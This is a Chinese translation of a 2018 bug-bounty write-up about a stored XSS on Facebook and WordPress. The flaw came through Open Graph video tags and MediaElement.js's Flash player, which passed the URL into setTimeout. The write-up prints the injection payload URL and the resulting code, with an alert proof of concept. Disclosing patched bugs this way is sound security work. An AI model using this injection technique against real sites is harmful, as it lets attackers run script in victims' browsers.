译文声明

本文是翻译文章,文章原作者default_user,文章来源:opnsec.com
原文地址:https://opnsec.com/2018/03/stored-xss-on-facebook/

 

介绍

我在2017年4月报告了多个FaceBook wall上的存储型XSS。这些存储型XSS漏洞也出现在WordPress中,所以我在发布这篇文章之前等待WordPress进行修补。这些漏洞现已在WordPress上修复!

这些XSS有点复杂,因为它们需要多个步骤,但是每一步本身都很容易理解。

 

Open Graph协议

当您在Facebook帖子中添加URL时,Facebook将使用Open Graph协议 (FB doc)显示丰富的内容。以下是关于Facebook如何使用OG在FB帖子中嵌入外部内容的大致流程:

  1. 攻击者在FB帖子上发布URL
  2. FB服务器读取URL(服务器端)并读取OG meta标签中提取有关URL内容的信息(例如,内容是带有标题,封面图像,视频编码类型和视频文件URL的视频)
  3. 受害者查看带有封面图片和播放按钮FB帖子
  4. 当受害者点击播放按钮时,视频会使用从OG元标记中提取的视频信息加载。(XSS将在这里执行)

许多网站也使用OG工作流,包括Twitter和WordPress等。

步骤#2很敏感:服务器端读取用户提供的URL,这通常会导致SSRF。
如果托管网站在敏感网页上使用X-Frame-Options:SAMEORIGIN并允许攻击者在同一子域中注入任意iframe,则会造成潜在的点击劫持漏洞。

FB不容易受到这些问题的影响

有趣的部分在步骤#4:在受害者点击播放按钮后,FB加载视频时。首先,FB会发送一个XHR请求来获取视频类型和视频文件URL,它们都是由攻击者在ogvideo:type(我们称之为ogVideoType)和og:video:secure_url(ogVideoUrl )由攻击者发布的URL的标签。以下是OG元标记的示例:

<!DOCTYPE html> <html> <head> <meta property="og:video:type" content="video/flv"> <meta property="og:video:secure_url" content='https://example.com/video.flv'> <meta property="og:video:width" content="718"> <meta property="og:video:height" content="404"> <meta property="og:image" content="https://example.com/cover.jpg"> (...) </head> <body> (...) </body> </html> 

If ogVideoType is “iframe” or “swf player” then FB loads an external iframe and doesn’t handle the playing of the video. Otherwise, FB was using MediaElement.jsto handle the loading of the video directly on facebook.com. I already reported and disclosed vulnerabilities on the Flash component of ME.js on both Facebook and WordPress.

如果ogVideoType是“iframe”或“swf player”,则FB会加载一个外部iframe并且不处理该视频的播放,而是直接使用MediaElement.js在facebook.com上处理视频加载。我已经报告并披露了ME.js的Flash组件在Facebook 和WordPress上的漏洞

 

1.使用FlashMediaElement.swf造成的存储型XSS

MediaElements.js根据ogVideoType会有多种播放视频的方式。

如果ogVideoType是“video / flv”(flash视频),则Facebook在facebook.com上加载Flash文件FlashMediaElement.swf(使用<embed>标签),并将ogVideoUrl传递到FlashME.swf进行视频播放。FlashME.swf然后将日志信息发送到facebook.com(使用Flash-to-JavaScript)关于“视频播放”或“视频结束”等事件。FlashME.swf正确处理了Flash-to-JavaScript的通信,特别是被正确转义为\以避免XSS。

但是,发送的JavaScript代码是:

setTimeout('log("[VIDEO_URL]")', 0) 

在Javascript中setTimeout与eval类似,它会将字符串转换为指令,使其非常危险

[VIDEO_URL]由攻击者控制,它是ogVideoUrl的值。如果它包含例如

http://evil.com/video.flv?"[payload] 

Flash会将以下指令发送给javascript:

setTimeout("log("http://evil.com/video.flv?"payload")", 0); 

如您所见, in video.flv?”payload已正确转义,因此攻击者无法逃离setTimeout函数。

但是,当JavaScript执行setTimeout函数时,它将执行以下JavaScript指令:

log("http://evil.com/video.flv?"[payload]") 

而这次不再逃脱,攻击者可以注入XSS!

现在的问题是,Facebook在将ogVideoUrl传递给FlashME.swf之前是否会转义l。

首先,Facebook JavaScript向Facebook服务器发送XHR请求以获取ogVideoType和ogVideoUrl的值。ogVideoUrl的值是正确编码的,但它可以包含任何特殊字符,例如:

https://evil.com?"'< 

然后,在发送到Flash之前,ogVideoUrl进行了如下转换:

function absolutizeUrl(ogVideoUrl) { var tempDiv = document.createElement('div');
tempDiv.innerHTML = '<a href="' + ogVideoUrl.toString().split('"').join('&quot;') + '">x</a>'; return tempDiv.firstChild.href;
}flashDiv.innerHTML ='<embed data-original="FlashME.swf?videoFile=' + encodeURI(absolutizeUrl(ogVideoUrl )) +'" type="application/x-shockwave-flash">'; 

absolutizeUrl(ogVideoUrl)的结果 在发送到Flash之前进行了URL编码,但当Flash接收到数据时,它会自动对其进行URL解码,因此我们可以忽略encodeURI指令。

absolutizeUrl使用当前的javascript上下文的协议和域(Domain)来将相对URL转换为绝对URL(如果提供了绝对URL,则返回它几乎不变)。这似乎是“哈克”,但它看起来足够安全和简单,因为我们让浏览器做了艰苦的工作。但当存在特殊字符编码时,这并不简单。

当最初分析这段代码时,我使用的是Firefox,因为它有很棒的扩展,比如Hackbar,Tamper Data和Firebug!

在Firefox中,如果你尝试

absolutizeUrl('http://evil.com/video.flv#"payload') 

它会返回

http://evil.com/video.flv#%22payload 

所以我被难住了,因为在Facebook中,由Flash发送的JavaScript指令会是

setTimeout("log("http://evil.com/video.flv?%22payload")", 0); 

这将导致

log("http://evil.com/video.flv?%22[payload]") 

这不是一个XSS。

然后我尝试了Chrome和

absolutizeUrl('http://evil.com/video.flv#"payload') 

返回:

http://evil.com/video.flv#"payload 

和 o / YEAH !!!!!

现在Flash发送

setTimeout("log("http://evil.com/video.flv?"payload")", 0); 

到Facebook的JavaScript和哪些将导致

log("http://evil.com/video.flv?"[payload]") 

所以如果ogVideoUrl设置为

http://evil.com/video.flv#"+alert(document.domain+" XSSed!")+" 

那么Facebook将执行

log("http://evil.com/video.flv?"+alert(document.domain+" XSSed!")+"") 

并会显示一个不错的小警告框,说“facebook.com XSSed!”